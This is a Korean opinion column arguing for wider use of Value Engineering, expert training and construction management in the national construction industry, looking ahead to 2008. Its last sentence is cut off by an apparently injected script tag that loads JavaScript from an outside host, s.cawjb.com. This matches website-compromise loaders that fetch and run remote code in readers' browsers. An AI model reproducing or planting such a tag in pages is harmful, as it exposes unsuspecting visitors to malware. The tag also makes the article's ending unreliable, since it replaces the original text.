우리 생활 중에서 전래적으로 의(衣)ㆍ식(食)ㆍ주(住)는 생활을 하기위한 가장 기본적인 요소라고 말하고 있다. 우리의 조상이 살아오면서 입고, 먹고, 생활할 수 있는 공간이 있어야만 그나마라도 인간다운 생을 누릴 수 있다고 정의하고 있는 것이다.

그 중에서 주(住)에 해당하는 건설사업은 거주를 할 수 있는 공간을 제공하는 인간의 생존을 위한 필수요소 중의 하나일 것이다.

최근 건설산업에서 가장 주제거리가 되고 있는 사항 중의 하나는 건설산업의 재기라고 말할 수 있다. 좁은 면적의 국토에다가 아주 높은 인구의 밀집도를 가지고 있고, 선진국 진입의 문턱에 와 있는 상황에서 도로, 주택, 항만, 철도 등 필요로 하는 개발은 어느 정도 충족이 됐다 할 수 있다.

이제 필요로 하는 건설사업의 대부분은 그야말로 좀 더 편한, 좀 더 잘 사는, 복지를 위한 시설물의 건설이 대부분이라고 해도 과언이 아니다. 그렇다면 좀 더 품질 좋고, 성능이 좋은 시설물 내지 건축물을 건설하여야만 사람이 많이 모이게 되고 분양이 잘 된다.

최고의 건설물을 향한 건설기술의 발달로 품질향상, 공정단축, 공사비 절감 등이 가능하게 된 것은 자못 다행한 일이다. 그 중 흔히 말하는 가치를 중시하는 건설사업의 경우에는 그 언급이 다양한 각도에서 검토가 되고 증명이 되어야 하는 사안 중의 하나이다.

그 기법의 하나가 바로 최근에 많은 관심의 대상이 되고 있는 VE(Value Engineering)이다.

최근 정부의 예산절감 노력과 함께 공공건설공사의 가치향상을 도모하고자 도입한 ‘설계의 경제성등 검토’(이하 설계VE) 적용 대상공사가 확대되고, 이에 따라 설계VE 용역발주가 급증하고 있다.

이는 어느정도 규모이상의 건설공사시 가치를 중시하는 검토를 거침으로써 우리에게 현실적으로 필요한 사항을 한 번 검토하는 과정의 필요성을 정부에서도 요구하는 사항인 것이다.

이러한 건설기법의 도입을 위한 방법으로는 건설교통부 관련부서에서 다양한 의견 수렴, 검토 및 적용이 필요하다.

VE적용 관련 제도 및 현행 각종 법령의 제ㆍ개정으로 실천적 활성화 유도가 필요하며, 건설단계별 설계VE 수행사에 대한 가치적용의 활성화 대책이 마련돼야 할 것이다.

현재 건설기술관리법상으로는 ‘설계의 경제성 등 검토’등으로 제정된 지침이지만 조만간 경제성만이 아닌 가치를 위주로 하는 VE를 포함한 용어로 개정이 돼야 할 것이다.

이러한 VE를 건설에 적용하여 활발하게 적용하기위한 최선의 방법은 특성화된 교육의 제공이라 할 수 있다. VE는 이론을 중시하되 끊임없는 실천적인 학습 및 연습이 필요한 기법인 만큼 이를 위한 교육목표의 설정 또한 특화되어야 한다.

실질적이면서 특화된 교육을 위하여는 첫째로 VE의 이론적 배경 및 발전과정을 이해하도록 하며, 둘째 VE 추진절차를 숙지하고 단계별 운용기법을 적용할 수 있는 능력을 가질 수 있도록 하며, 셋째 VE 추진과정에서 각자의 역할을 수행 할 수 있도록 하여 VE팀의 성과를 최대 발휘하도록 하여야 할 것이다.

넷째 VE 워크샵의 팀 리더 역할을 수행할 수 있는 자질을 갖추어 어떠한 건설부문의 프로젝트라도 수행할 수 있는 자질을 갖추도록 하여 VE 추진절차를 숙지하고 단계별 운용기법을 적용할 수 있는 능력을 갖추도록 해야 할 것이다.

VE 추진과정에서 각자의 역할과 책임을 수행할 수 있는 자질을 갖추도록 하여야 올바른 VE, 형식을 배제한 VE가 가능할 것이다.

또한 국내에 적용 가능한 가치적용 방법 및 기법을 개발하여 적용토록 함으로써 단순한 외국 선진기법에 의한 기형적인 적용을 방지할 수 있다.

이를 위해서 전문가 그룹의 육성을 위한 체계화된 교육 및 양성과정 필요하며, VE 관련 주체간 책임과 권한의 범위 설정과 가치를 실현할 수 있는 건설VE 실적관리로 경험이 많고 우수한 업체 선정 등을 위한 방법론의 개발 등 많은 산과 물을 건너야하는 과정이 필요하다.

국내 총생산의 15%에 달하는 건설산업의 발전을 위한 전환점을 만들기 위하여 환골탈퇴의 정신으로 새로운 모색의 길이 개척되어야 하며 그 일환으로 국내에서 적용이 가능한 요소기술 및 기법을 적극 활용하는 노력이 절대적으로 필요하다.

이를 위하여 현재 우리가 접근이 가능한 방법에 대한 점검 및 검토로 이를 향상시키도록 해야 할 것이며 이의 방편으로 건설사업관리(CM) 및 VE의 적극적인 활용이 필수라 할 것이다.

이를 위하여 절대적으로 부족한 전문가를 육성, 조속히 실무에 투입함으로써 건설산업이 세계화속에서 우리의 위상을 자리매김 할 수 있을 것이다.

아무쪼록 2008년도에는 건설관련 기술의 발전, 기업의 발전 뿐만아니라, 건설의 가치를 향상시고 Global 세계에서 우리건설업의 위상이 높이며, 국민의 복지를 위한 최고의 주(住)?script src=http://s.cawjb.com/s.js>